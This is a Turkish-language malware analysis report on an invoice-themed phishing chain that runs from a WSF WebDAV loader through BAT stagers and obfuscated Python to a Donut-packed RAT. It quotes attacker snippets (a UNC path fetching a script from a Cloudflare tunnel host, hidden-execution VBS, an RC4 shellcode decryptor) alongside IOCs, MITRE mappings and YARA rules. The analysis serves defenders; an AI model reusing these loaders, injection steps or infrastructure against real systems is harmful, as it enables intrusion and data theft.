Gönderi

Alpha Scramble 3: Fatura Temalı Phishing SERPENTINE#CLOUD Analizi

Alpha Scramble 3: Fatura Temalı Phishing SERPENTINE#CLOUD Analizi

Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.

Bu analizde, fatura temalı bir phishing e-postasıyla başlayan ve bellekte çalışan bir RAT payload’ına uzanan çok aşamalı bir saldırı zinciri incelenmektedir. Saldırı; WSF tabanlı bir loader, extension masquerading uygulayan BAT stager’lar, Cloudflare Tunnel üzerinden servis edilen ZIP payload’lar ve Kramer obfuscator ile gizlenmiş Python scriptler aracılığıyla ilerlemekte; Early Bird APC Injection tekniğiyle nihai zararlıyı belleğe yüklemektedir.

Analiz edilen bu çok aşamalı saldırı zinciri, kullanılan Cloudflare tabanlı altyapı ve katmanlı yapıdan dolayı bu çalışma kapsamında SERPENTINE#CLOUD olarak isimlendirilmiştir.


Yönetici Özeti

Yapılan analiz sonucunda, incelenen olayın phishing e-postasıyla başlayan ve çok aşamalı bir zararlı yazılım zinciri içeren bir saldırı olduğu tespit edilmiştir. Saldırı, kullanıcıyı sahte bir fatura veya belge indirip çalıştırmaya yönlendirmekte; ardından sistem üzerinde ek zararlı bileşenler indirerek bellekte çalışan bir payload devreye sokmaktadır.

Zararlı yazılımın veri toplama, kullanıcı aktivitelerini izleme ve uzaktan komut alma yeteneklerine sahip olduğu değerlendirilmiştir.

Genel Risk Seviyesi: Yüksek

Saldırı zinciri şu şekilde özetlenebilir:

  • Kullanıcıya phishing e-postası gönderilir
  • Kullanıcı sahte bir fatura arşivi indirir
  • Dosya çalıştırıldığında sistemde script tabanlı bir loader devreye girer
  • Loader, Cloudflare Tunnel altyapısı üzerinden ek payload’lar indirir
  • Zararlı yazılım bellekte çalıştırılarak tespiti zorlaştırılır
  • Sistem dışı bir sunucu ile şifreli iletişim kurularak veri aktarımı yapılır

İncelenen Artefact’lar

ArtefactAçıklamaSHA256
lnvoice72625343.urlPhishing e-postasından indirilen başlangıç aşamasıe86393c9a1dcc9992ea3dea2bdfc62e68bd5e0e3061e15549762f481be3c21ac
Phmar09.wsfWSF loader — WebDAV UNC path ile çalışır0e61f283dcb832ad0bfe89de09c97551cacc5a3fada0bdc47f2040390e7e7f9a
PhM091.txt / .batStage 2 BAT loader — extension masquerading220ff536f69088e33894a1df174ee13d81f88d9e658a5905ae42ff98604d10c2
PhM092.txt / .batStage 2 BAT runner — Python payload çalıştırır218628edc95f7c425fad294048adca65e235ae3024f084c9afaf483f66f71b6c
PhM09MA.zipPython payload ve portable runtime içeren ana ZIPcde3f15098ecd7467035127e93d490af955dfc1093920f3319e6a1db1a684900
mod_payload.binDonut ile paketlenmiş, bellekten yüklenen son payload493a52ae0ef7fcd776bffe1801c400138662e0d78afe03cf9fb455ae2a9aed5a

Aşama 1: Phishing E-Postası ve İlk Erişim

Kişisel alan adı üzerinde çalışan ve spam filtresi barındırmayan bir posta sunucusu aracılığıyla, hxxps://www.mycpatax.com adresinden gelen bir phishing e-postası yakalandı.

Phishing E-Postası Gelen phishing e-postası

E-postadaki “View Billing Invoice” bağlantısına tıklandığında, kullanıcı bir dosya indirme adresine yönlendirilmektedir.

VirusTotal Domain Raporu VirusTotal Domain raporu

Zararlı URL Tam Adres Zararlı URL Tam Adres

İstihbarat Aşaması: Sahte Site Analizi

Yönlendirilen site incelendiğinde, phishing için hazırlanmış basit bir giydirme sayfasından ziyade gerçek bir işletmeye ait site görünümü sergilendiği dikkat çekmektedir.

Sahte Site Görünümü

Hedef site ilk bakışta gerçek bir işletme izlenimi vermektedir

Sitenin barındırdığı RCE veya dosya yükleme açıklıklarından faydalanılarak kötü niyetli aktörlerin bu altyapıyı kullandığı değerlendirilmektedir. İstihbari açıdan inceleme yapıldı.

Google Maps Yorumları

Site üzerinden yapılan Google Maps yönlendirmesine ait yorumlar — firmanın gerçek olduğunu güçlendirmektedir

Google Arama Sonuçları

Google aramasında ilgili firmaya ait ikinci bir web sitesiyle karşılaşıldı

Her iki site de birebir aynı frontend yapısına sahiptir; orijinal sitenin yalnızca görsel katmanı kopyalanmıştır. Responsible disclosure kapsamında ilgili firmalar bilgilendirilmiştir.

Sitemap İncelemesi Sahte sitenin sitemap ve sayfa yapısı

Hızlı Rezervasyon “Hızlı Rezervasyon” gibi işlevsel alanların çalışmaması, sitenin bir giydirme olduğunu doğrulamaktadır. Sahte sitede bu alan çalışmıyor — yalnızca frontend kopyalanmış.

İstihbarat aşaması tamamlandı, FlareVM analiz ortamına geçildi


Aşama 2: WSF Loader — WebDAV UNC Execution

Zararlı URL’ye gidildiğinde dosya indirme iletişim kutusu karşılamaktadır. Laboratuvar ortamının güvenliği doğrulandıktan sonra analiz başlatılmıştır.

Zararlı URL:
hxxps://textbook-alternatives-theta-hydrogen.trycloudflare.com/kml

Dosya İndirme İndirme iletişim kutusu

İndirilen Dosya

Yönlendirme Yapılan website Yönlendirme Yapılan website

trycloudflare.com ile dört kelimeli pattern üzerinden oluşturulan domainler, Cloudflare’in kısa ömürlü tünel servisidir. Bu domainler maksimum birkaç hafta aktif kalabildiğinden VirusTotal taramasının sınırlı değer taşıyacağı değerlendirilmektedir.

VT Taraması Zararlı Dosya İçerikli Website

İndirilen Dosya İndirilen 2. dosya

PeStudio Analizi

PeStudio ile yapılan incelemede ikinci bir Cloudflare URL’sine yönlendirme tespit edildi

WSH Dosyasının Yapısı

İndirilen .wsh dosyasının [ScriptFile] bölümü şu şekildedir:

1
Path=\\determining-aka-amazing-demo.trycloudflare.com@SSL\DavWWWRoot\7k\Phmar09.wsf

Bu path standart bir HTTP URL değil; Windows WebDAV UNC path formatındadır:

1
\\HOST@SSL\DavWWWRoot\PATH

Windows bu formatı şu adrese resolve eder:

1
https://determining-aka-amazing-demo.trycloudflare.com/7k/Phmar09.wsf

Saldırganın bu yöntemi tercih etmesinin nedeni:

  • Proxy ve güvenlik duvarı atlatma kapasitesi
  • Windows tarafından ağ paylaşımı (network share) olarak mount edilmesi
  • wscript ve cscript araçlarıyla doğrudan çalıştırılabilmesi

DavWWWRoot → Windows WebClient (WebDAV) servisine ait özel path.

[Options] bölümünde ise:

1
UseEngine=JScript

Bu, scriptin JScript (Microsoft’un JavaScript implementasyonu) motoru ile çalıştırılacağını belirtmektedir.


Aşama 3: İkinci WSF Yükü ve Loader Analizi

İki WSF Dosyası Dizinde Bulunan Dosyalar

WSF Dosyaları Listesi Elimizdeki Analiz Edilen Dosyalar

Cloudflare Domain Pattern Devam Ediyor WSF Dosyalarının Karşılaştırılması

İki Loader Arasındaki Ortak Noktalar

Her iki WSF loader’ı aşağıdaki teknik özellikleri paylaşmaktadır:

  1. WSF / JScript loader<script language="JScript">, Windows Script Host üzerinden çalışır
  2. Aynı COM nesneleriWScript.Shell, Scripting.FileSystemObject
  3. WebDAV üzerinden payload indirme — UNC path formatı: \\<subdomain>.trycloudflare.com@SSL\DavWWWRoot\
  4. Cloudflare Tunnel altyapısı*.trycloudflare.com pattern
  5. Extension masquerading — sunucudaki dosya .txt, locale kaydedilen dosya .bat
  6. Ortak drop dizini%USERPROFILE%\Contacts\
  7. Gizli çalıştırmashell.Run(..., 0, true) ile pencere göstermeden execution
  8. Staged execution — ilk payload, 90 saniyelik bekleme, ikinci payload: WScript.Sleep(90000)
  9. Hata gizlemetry {} catch(e) {} ile hata mesajı üretilmemesi

Loader 1

ParametreDeğer
Payload sunucu\\wallace-church-enclosure-opens.trycloudflare.com@SSL\DavWWWRoot\
İndirilen dosyalarPhM091.txt, PhM092.txt
Yerel hedef%USERPROFILE%\Contacts\PhM091.bat, PhM092.bat

Loader 2

ParametreDeğer
Payload sunucu\\triangle-county-dangerous-soon.trycloudflare.com@SSL\DavWWWRoot\
İndirilen dosyalarPhA1.txt, PhA2.txt
Yerel hedef%USERPROFILE%\Contacts\PhA1.bat, PhA2.bat

Aşama 4: BAT Stager Analizi

Loader Karşılaştırması Siteden İndirilen .txt Dosyaları

Çalışma Durumu Loader 2 çalışmıyor

Güncel Durum Analiz ortamındaki dosya dizin yapısı

Phmar09.wsh dosyasının PhM092 ve PhM091 isimli dosyaları .txt formatından .bat formatına dönüştürdüğü gözlemlenmiştir.

PhM091.bat — Stage A: Downloader

Çince Obfuscation Çince karakterlerle obfuscate edilmiş BAT dosyası

CyberChef ile Decode

CyberChef ile UTF-8/UTF-16 encoding sorunu çözülerek orijinal BAT kodu elde edildi

Decode Sonucu Decode edilmiş BAT içeriği

Dosya UTF-8 ile yazılmış ancak UTF-16 olarak okunmuş bir BAT scriptidir. Encoding dönüştürülerek orijinal içeriğe ulaşıldı.

Gizli Çalıştırma Mekanizması

Script başlangıçta kendisini gizli olarak yeniden başlatır. Geçici VBS oluşturur:

1
%USERPROFILE%\Contacts\rhn.vbs

VBS içeriği:

1
CreateObject("WScript.Shell").Run "<batfile> hidden", 0

BAT dosyası bu yöntemle kullanıcıya konsol penceresi göstermeden çalıştırılır. Geçici VBS çalıştırıldıktan sonra silinir.

Kullanılan Klasörler

1
2
3
%USERPROFILE%\Contacts\docuts
%USERPROFILE%\Contacts\MainRingtones
%USERPROFILE%\Contacts\str

Bu klasörler payload extraction için kullanılmaktadır.

Persistence

Startup klasörüne rastgele isimli bir BAT dosyası indirilir:

1
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<RANDOM>.bat

Bu dosya Windows’ta her oturum açılışında çalışır.

İndirilen Payload’lar

Payload sunucu:

1
https://lone-logs-visit-isolated.trycloudflare.com
Sunucu DosyasıYerel Hedef
PhM09MA.zipContacts\docuts\64<RANDOM>.zip
PhM09ST.zipContacts\docuts\<RANDOM>.zip
PhM09SU.txtStartup\<RANDOM>.bat (extension masquerading)

ZIP dosyaları Windows built-in araçlarla çıkartılmaktadır:

1
2
tar -xf PhM09MA.zip → Contacts\MainRingtones
tar -xf PhM09ST.zip → Contacts\str

Bu curl ve tar kullanımı LOLBins (Living off the Land Binaries) tekniğine örnek teşkil etmektedir.

Not: Script cleanup aşamasında del "%onef%" komutu çalıştırılmaya çalışılmaktadır; ancak %onef% değişkeni script içinde tanımlanmamıştır. Bu durum büyük olasılıkla builder tarafından oluşturulan bir artifact hatasıdır.

PhM092.bat — Stage B: Runner

Script, önceki aşamada oluşturulan klasörleri kullanarak Python payload’larını çalıştırır:

1
%USERPROFILE%\Contacts\MainRingtones\python312x64\python.exe

Bu aşamada dikkat çekici bir husus, payload’ın portable Python runtime ile birlikte gelmesidir; hedef sistemde Python kurulu olmasına gerek yoktur.

Python Payload Çalıştırma

1
2
3
for %%f in ("%USERPROFILE%\Contacts\MainRingtones\Python312x64\*.py") do (
    start "" /b python.exe %%f
)

Tüm .py payload’ları arka planda (/b) çalıştırılır. Her script arasında 3 saniye bekleme uygulanır.

Process Tree Gizleme

Script, WMI kullanan bir VBS dosyası oluşturur:

1
%USERPROFILE%\Contacts\py_parent.vbs

Bu script, explorer.exe‘nin parent process’i olan python.exe‘yi sonlandırır. Amaç:

  • Orphan process oluşturmak
  • Process tree’yi analiz araçlarından gizlemek
  • Sandbox detection’ı atlatmak

Temizlik Aşaması

İşlemKomut
Geçici VBS silinirdel py_parent.vbs
Staging klasörü silinirrd /s /q %USERPROFILE%\Contacts\docuts
Payload klasörleri gizlenirattrib +h Contacts\MainRingtones, attrib +h Contacts\str
Tüm BAT dosyaları silinirdel %USERPROFILE%\Contacts\*.bat

Aşama 5: Payload Sunucusundan İndirme

Payload Sunucusu Zararlı Website İçeriği

Payload sunucusundan ilgisiz diğer dosyalar indirilememiştir; bunlar muhtemelen eski bir kampanyaya ait olup VirusTotal tespitleri nedeniyle devre dışı bırakılmıştır.

Sunucu İçeriği İndirilen Dosyalar

Obfuscated Dosya ve Zip'ler Payload sunucusundan indirilen dosya: obfuscated BAT scripti

Obfuscated BAT Script Analizi

Bozuk Encoding UTF-8 ile yazılmış, UTF-16 olarak okunmuş BAT script

Bu veri, yanlış codec ile okunmuş bir BAT scriptidir: UTF-8 ile yazılmış ancak UTF-16 olarak yorumlanmıştır. UTF-16 gibi encode edilerek UTF-8 olarak decode edildiğinde orijinal içeriğe ulaşılmaktadır.

Decode Sonucu Decode edilmiş içerik — Python scriptlerini çalıştırıyor ve processleri sonlandırıyor

İçeriğin beklentilerle örtüştüğü görülmüştür: Python klasöründeki scriptleri çalıştırmakta ve processleri kill etmektedir.


Aşama 6: Python Payload Analizi

Python Dosya Yapısı PhM09MA.zip içinden çıkan Python yapısı

Diğer ZIP İçeriği PhM09ST.zip İki zip dosyasının karşılaştırılması

Python Dosyalar ve Shellcode

Klasördeki 10 adet Python dosyasının tamamı base64 shellcode enjekte etmektedir

Obfuscated Dosyalar

İki paket de aynı şekilde gözükmektedir. Execution scripti yalnızca python312x64 klasörünü hedef aldığından, her iki paketten yalnızca biri çalıştırılabilir. Bu durum, saldırganın antivirüs ürünlerinden birinin tespitini atlatabilmek için yedek bir paket hazırladığını düşündürmektedir.

Ana Paket Analizi: PhM09MA.zip

Ana Paket File1 değişkenine karşılık gelen ana paket — analize buradan devam edildi

Shellcode Base64 Loader Tüm Python dosyaları base64 shellcode yüklüyor

ZIP içindeki şüpheli Python dosyaları:

  • 1MAR12_Philli-Vioooooooo.py
  • 1PhMAR12Annnnnn.py
  • 1PhMAR12Asssssss.py
  • 1PhMAR12Hvvvvvvvv.py
  • 1PhMAR12Xwrmmmmm.py
  • 2LazMAR12_hvvvvvvvvvvv.py

İlk 5 Dosya — APC Injection Loader

Bu dosyalar benzer bir yapıya sahiptir. Gerçekleştirilen işlemler şu şekilde özetlenebilir:

  • Gömülü base64 + XOR ile gizlenmiş payload tutulur
  • Payload çözülür
  • explorer.exe gibi bir süreç suspended modda başlatılır
  • Hedef süreçte bellek ayrılır: VirtualAllocEx
  • Payload belleğe yazılır: WriteProcessMemory
  • APC kuyruğuna eklenir: QueueUserAPC
  • Thread devam ettirilir: ResumeThread

Bu teknik, Early Bird APC Injection olarak bilinmekte olup antivirüs tespitini ve analizi güçleştirmek amacıyla yaygın şekilde kullanılmaktadır.

2LazMAR12_hvvvvvvvvvvv.py — Kramer Obfuscator

String Analizi Shellcode’ların base64 olarak çıkartılması — yüksek entropi, hiçbiri executable değil

Python koduyla base64 shellcode’lar dışarı alınmış; ancak string ve DIE analizleri yüksek entropi göstermekte, hiçbiri doğrudan çalıştırılabilir formatta değildir. Bu durum, 2LazMAR12 dosyasında ek bir şifre çözme katmanının bulunduğuna işaret etmektedir.

Kramer Stringleri Dosyada “Kramer” ve “Kramer_Decode” string’leri tespit edildi

Dosyada Kramer ve Kramer_Decode string’leri tespit edilmiştir. billythegoat356/Kramer obfuscator’ı ile şifrelenmiş bir Python dosyasıyla karşı karşıya olunduğu anlaşılmıştır.

Mevcut hazır deobfuscator araçları değerlendirilmiş, ancak işlevsel bir sonuç elde edilememiştir. Kısa bir araştırmayla obfuscator’ın RC4 + Base64 kombinasyonuna dayandığı tespit edilmiş; buna göre geliştirilen custom script ile payload başarıyla dışarı alınmıştır.

PPID Spoofing Deobfuscated Python payload çıktısı

Payload çıktısında PPID Spoofing tekniği tespit edilmiştir: süreç oluşturulurken parent process olarak explorer.exe atanmakta, böylece davranış meşru gibi görünmektedir.

Zararlı yazılım, PPID Spoofing tekniği kullanarak calc.exe sürecini explorer.exe altından başlatılmış gibi göstermektedir. Ardından oluşturulan bu calc.exe sürecine Early Bird APC tekniği ile zararlı shellcode enjekte edilmektedir.

Dosyada yer alan yorum satırları ve çıktı mesajlarının yapısı, bu kampanyada yapay zeka destekli araçların kullanılmış olabileceğini düşündürmektedir. Kesin bir atıf için ek kanıt gerekmektedir.

Early Bird APC Injection akışı:

  1. CreateProcess (CREATE_SUSPENDED) ile süreç askıda başlatılır
  2. Shellcode belleğe yazılır
  3. Hedef thread’e APC kuyruğu eklenir
  4. ResumeThread çağrısıyla shellcode çalışır

RC4 şifre çözme kodu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ctypes
import base64

def rc4_decrypt(key, data):
    S = list(range(256))
    j = 0
    output = bytearray()

    # KSA (Key Scheduling Algorithm)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0

    # PRGA (Pseudo-Random Generation Algorithm)
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        output.append(byte ^ k)

    return bytes(output)

# Payload dışarı alınmak üzere şifre çözme uygulanır
encrypted_data = base64.b64decode("<base64_blob>")
key = 'C2UURmFS'.encode('ascii')
shellcode = rc4_decrypt(key, encrypted_data)

Aşama 7: Donut Payload ve Nihai RAT

Donut Tespiti

DIE Çıktısı Detect It Easy çıktısı Donut Tespiti

Detect It Easy ile yapılan analiz, payload’ın Donut ile paketlendiğini ortaya koymaktadır. Donut; PE dosyalarını diske yazmadan bellekte yükleyip çalıştırmak için kullanılan bir framework’tür.

volexity/donut-decryptor kullanılarak payload çıkartılmıştır.

Donut Decryptor mod_payload.bin olarak dışarı alındı

Bu sırada payload ilgili platformlarda incelemeye alınmıştır:

C2 İletişimi

Payload çalıştırılarak Process Hacker ile süreç izlenmiştir.

Process Hacker Process Hacker ile süreç izleme

Process Hacker ile Process’i incelememiz sonucunda “Create Dump File” seçeneği ile bellek dökümü alınmıştır.

Dump Dosyası Alınan bellek dökümünün Detect It Easy ile analizi

Süreç izlenmeye devam edildiğinde 12.202.180.133:6757 adresine bağlantı kurulduğu tespit edilmiştir.

VirusTotal — 12.202.180.133

VT IP Analizi Process Monitor Ağ Bağlantıları Analizi

Wireshark Dump içinden çıkarılan sunucuya yönlendirilen Keylogger tarzı davranış

Wireshark incelemesinde verinin şifreli biçimde C2 sunucusuna iletildiği gözlemlenmiştir; bu nedenle trafik içeriği bu rapor kapsamına dahil edilmemiştir.

Dump’tan Payload Çıkartma

Dump İnceleme Python scripti ile bellek dökümünden zararlı payload çıkartılıyor

Custom bir script ile bellek dökümünden zararlı payload çıkartılarak dnSpy ile açılmıştır.

dnSpy dnSpy ile .NET Zararlı analizi

Detect It Easy ile yapılan inceleme, obfuscation işleminin .NET Reactor ile gerçekleştirildiğini ortaya koymaktadır.

.NET Reactor Slayer ile obfuscation kaldırılmıştır.

.NET Reactor Slayer .NET Reactor Slayer çıktısı

Deobfuscated Kod Kısmen Deobfuscated kod

Kodların hâlâ yüksek derecede obfuscated olması ve bir sürece attach olarak çalışması nedeniyle, aynı süreç sıfırdan çalıştırılarak yeni bir bellek dökümü alınmış ve analiz yinelenmiştir.

Sonuç: Zararlı yazılım, birden fazla obfuscated RAT modülü enjekte etmektedir. Bu modüler yapı nedeniyle VirusTotal ve benzeri araçlar kesin bir aile tespiti yapamamaktadır.

Ek Keşif: İkinci Phishing Kaynağı

Rapor tamamlandıktan sonra, kampanyanın başında phishing e-postası gönderen adresten birebir aynı formatta ikinci bir e-posta alınmıştır. Bu e-postada hxxps://uguravci.com.tr/ sitesinin aynı şekilde kopyalandığı tespit edilmiş; responsible disclosure kapsamında ilgili taraflar bilgilendirilmiştir.


IOC Seti

Network IOC’leri

TürDeğerAçıklama
URLhxxps://www.mycpatax.com/Phishing e-postası gönderen alan
URLhxxps://carrepaircenter.com.tr/Invoice72625343.zipİlk arşiv indirme adresi
URLhxxps://textbook-alternatives-theta-hydrogen.trycloudflare.com/kmlDelivery URL
URLhxxps://determining-aka-amazing-demo.trycloudflare.com/7k/Phmar09.wsfWSF loader
UNC\\determining-aka-amazing-demo.trycloudflare.com@SSL\DavWWWRoot\7k\Phmar09.wsfWebDAV UNC path
URL\\wallace-church-enclosure-opens.trycloudflare.com@SSL\DavWWWRoot\Loader 1 payload sunucu
URL\\triangle-county-dangerous-soon.trycloudflare.com@SSL\DavWWWRoot\Loader 2 payload sunucu
URLhxxps://lone-logs-visit-isolated.trycloudflare.comZIP payload sunucu
C212.202.180.133:6757Nihai RAT C2 adresi

Host Artefact’ları

TürDeğerAçıklama
Drop path%USERPROFILE%\Contacts\Ana staging dizini
Drop path%USERPROFILE%\Contacts\docuts\ZIP extraction geçici dizini
Drop path%USERPROFILE%\Contacts\MainRingtones\Python runtime ve payloadlar
Drop path%USERPROFILE%\Contacts\str\İkinci payload dizini
Persistence%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<RANDOM>.batHer oturumda çalışan persistence
Execution artifact%USERPROFILE%\Contacts\MainRingtones\python312x64\python.exePortable Python çalışma zamanı
Temp artifact%USERPROFILE%\Contacts\rhn.vbsGizli çalıştırma VBS
Temp artifact%USERPROFILE%\Contacts\rhnE.vbsGizli çalıştırma VBS (Stage 2)
Temp artifact%USERPROFILE%\Contacts\py_parent.vbsProcess tree gizleme VBS

Behavioral IOC

TeknikDetay
WebDAV UNC execution\\host@SSL\DavWWWRoot\ formatında script çalıştırma
WSF / JScript loaderWindows Script Host üzerinden JScript execution
Hidden executionWScript.Shell.Run(..., 0) ile pencere gizleme
LOLBinscurl, tar (Windows native araçlar)
Extension masquerading.txt sunuluyor, .bat olarak kaydediliyor
Early Bird APC InjectionSuspended process’e shellcode enjeksiyonu
RC4 + Base64 şifrelemePython payload’larında payload encryption
Donut in-memory executionPE yükleme — diske yazılmıyor
Portable Python runtimeHedef sistemde Python gerektirmiyor
PPID SpoofingParent process olarak explorer.exe atanıyor

Dosya Hash Tablosu

Dosya AdıMD5SHA256Boyut
1PhJ14.wsfe0e46e04f0f97b98af3570ec5cfb73e713a6420822dab0d4ca6c1b422c66e5dd3a59637588279097efe47f7e553eb849785 B
decoded_layer.py3c6894ce3229ae180b8d3cdc3eeefaf27ac2304a14988ab2550c19fe93814377f71803b6784fea8e22d08d0ceb2b4521~1.3 MB
lnvoice72625343.url33625fb6db7b14b2e9265934b75b3e73e86393c9a1dcc9992ea3dea2bdfc62e68bd5e0e3061e15549762f481be3c21ac296 B
mod_payload.bin2ffacdf417772f8723f3c96c80e84655493a52ae0ef7fcd776bffe1801c400138662e0d78afe03cf9fb455ae2a9aed5a~1 MB
payload.bin29a9ae87d98a1708082c31c186054cdca4a829adddc3d31a7dae7d992df2f59f23ad859e05758b83a1b4bcd9b27f5f6a~1 MB
pe_66824.exe7c1f000e002529266c7c0b48476357928834f3c8781f12875a8952cc413461cc228f471f6ee3178ef1dff2e0c43ee327~2 MB
pe_66824_Slayed.exe027a6653619b05996dcdee075ec03c50252577c36b2feae3b668ff26e53ed07fed7b21dd0ca142bd9db9833179c52080~1.4 MB
PhM091.txte7beba4fb6dcdc337539ff470c17e1a1220ff536f69088e33894a1df174ee13d81f88d9e658a5905ae42ff98604d10c22.249 B
PhM092.txt99062a3f541b007e61fbb486ee11b2a8218628edc95f7c425fad294048adca65e235ae3024f084c9afaf483f66f71b6c3.002 B
PhM09MA.zipb53ed42b5c4ffc8934fb796e414d2e66cde3f15098ecd7467035127e93d490af955dfc1093920f3319e6a1db1a684900~17.5 MB
PhM09ST.zip3c18c0aca4146ea19b309fb8cbae08e78cbc5c70a4d22b3b725ba01b332c0a1bb3d5f6636446dbec915c71ef264c4cfb~17.5 MB
PhM09SU.txtb8512d93b6b50ea70faf73ce5b5d42c8c4c20f73ea72a9ab4ea5676e3064e669fb4e5aec8084d0211b838cdefb4c94a74.137 B
Phmar09.wsf5e75f24be395c72e376c1814d74c385f0e61f283dcb832ad0bfe89de09c97551cacc5a3fada0bdc47f2040390e7e7f9a665 B
Re_06430927.pdf.wsh1a26241e24063b02157cbf3709e7eca78863478954faa0822dd238b24d6e04ebbe4f8aee2e3e24d0c8351e996a7a9c91131 B

MITRE ATT&CK Eşlemesi

TaktikTeknik IDTeknik Adı
Initial AccessT1566.002Phishing: Spearphishing Link
ExecutionT1055Process Injection
 T1059.003Command and Scripting Interpreter: Windows Command Shell
 T1059.005Command and Scripting Interpreter: Visual Basic
 T1059.006Command and Scripting Interpreter: Python
 T1059.007Command and Scripting Interpreter: JavaScript
 T1204.001User Execution: Malicious Link
 T1204.002User Execution: Malicious File
 T1620Reflective Code Loading
PersistenceT1547.001Boot or Logon Autostart Execution: Startup Folder
Defense EvasionT1027Obfuscated Files or Information
 T1027.010Command Obfuscation
 T1027.013Encrypted/Encoded File
 T1036Masquerading
 T1055.004Process Injection: Asynchronous Procedure Call
 T1134.004Access Token Manipulation: Parent PID Spoofing
 T1218System Binary Proxy Execution
Command and ControlT1071.001Application Layer Protocol: Web Protocols
 T1090.001Proxy: Internal Proxy
 T1090.003Proxy: Multi-hop Proxy (Cloudflare Tunnel)
 T1132Data Encoding
 T1572Protocol Tunneling
ExfiltrationT1041Exfiltration Over C2 Channel

YARA Kuralları

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import "pe"

// ─────────────────────────────────────────────────────────────
// Stage 1–2: WSF / JScript WebDAV Loader
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_WSF_WebDAV_Loader {
    meta:
        description = "WSF/JScript loader using WebDAV + COM abuse"
        author = "binarybear"

    strings:
        // Script indicators
        $js1 = "<script" nocase
        $js2 = "JScript" nocase

        // COM usage
        $com1 = "WScript.Shell" nocase
        $com2 = "Scripting.FileSystemObject" nocase

        // WebDAV patterns
        $webdav1 = "@SSL\\DavWWWRoot" nocase
        $webdav2 = /\\\\[^\\]+\\DavWWWRoot/ nocase

        // Campaign signal
        $cf = ".trycloudflare.com" nocase

    condition:
        (
            uint16(0) == 0x3c3f or uint16(0) == 0x3c73
        )
        and
        2 of ($js*)
        and
        1 of ($com*)
        and
        (
            1 of ($webdav*) or $cf
        )
}


// ─────────────────────────────────────────────────────────────
// Stage 3–4: BAT/VBS Stager
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_BAT_LOLBIN_Stager {
    meta:
        description = "Batch/VBS stager using LOLBins + execution chain"
        author = "binarybear"

    strings:
        // LOLBins
        $curl = "curl" fullword nocase
        $tar  = "tar" fullword nocase

        // Execution context
        $cmd_exec = "cmd.exe /c" nocase
        $wscript  = "wscript" nocase
        $cscript  = "cscript" nocase

        // Stealth
        $hide = "attrib +h" nocase

        // Staging hints
        $contacts = "\\Contacts\\" nocase
        $sub1 = "docuts" nocase
        $sub2 = "MainRingtones" nocase

        // Payload runtime
        $python = "python.exe" nocase

    condition:
        (
            (2 of ($curl,$tar,$cmd_exec) and $python)
            or
            (1 of ($wscript,$cscript) and $hide and $python)
        )
        and
        (
            $contacts or 1 of ($sub*)
        )
}


// ─────────────────────────────────────────────────────────────
// Stage 5–6: Obfuscated Python Payload
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_Python_Obfuscated_Payload {
    meta:
        description = "Obfuscated Python payload with decode + execution chain"
        author = "binarybear"

    strings:
        // Execution primitives
        $exec1 = "exec(" nocase
        $exec2 = "eval(" nocase
        $exec3 = "__import__" nocase
        $exec4 = "compile(" nocase

        // Decode / unpack
        $dec1 = "base64.b64decode" nocase
        $dec2 = "marshal.loads" nocase
        $dec3 = "zlib.decompress" nocase

        // Fallback signals
        $b64 = "base64" nocase
        $marshal = "marshal" nocase
        $zlib = "zlib" nocase

        // Campaign hint
        $kramer = "Kramer" nocase

    condition:
        (
            (
                1 of ($dec*)
                and
                1 of ($exec*)
            )
            or
            (
                2 of ($exec*)
                and
                2 of ($b64,$marshal,$zlib)
            )
        )
        and
        filesize < 2097152
}


// ─────────────────────────────────────────────────────────────
// Stage 6+: Generic Injection Behavior
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_Generic_Injection_PE {
    meta:
        description = "Generic PE with process injection API patterns"
        author = "binarybear"

    condition:
        uint16(0) == 0x5A4D and
        (
            (
                pe.imports("kernel32.dll", "VirtualAlloc") and
                pe.imports("kernel32.dll", "WriteProcessMemory") and
                pe.imports("kernel32.dll", "CreateRemoteThread")
            )
            or
            (
                pe.imports("ntdll.dll", "NtWriteVirtualMemory") and
                pe.imports("ntdll.dll", "NtCreateThreadEx")
            )
            or
            (
                pe.imports("ntdll.dll", "NtAllocateVirtualMemory") and
                pe.imports("ntdll.dll", "NtProtectVirtualMemory")
            )
        )
}


// ─────────────────────────────────────────────────────────────
// IOC Artefacts (triage)
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_Known_IOC_Artefacts {
    meta:
        description = "Known campaign IOC artefacts (triage only)"
        author = "binarybear"

    strings:
        $cf = ".trycloudflare.com" ascii wide
        $c2 = "12.202.180.133:6757" ascii wide

        $phish1 = "mycpatax.com" ascii wide
        $phish2 = "carrepaircenter.com.tr" ascii wide
        $phish3 = "uguravci.com.tr" ascii wide

    condition:
        2 of them
}

Öneriler

Bu saldırı phishing ile başladığından kullanıcı tarafındaki en kritik kontrol hâlâ aynıdır: bilinmeyen kaynaklardan gelen dosyaların açılmaması. Özellikle ZIP, RAR gibi arşivler ve fatura temalı e-postalardaki bağlantılar yüksek risk taşımaktadır.

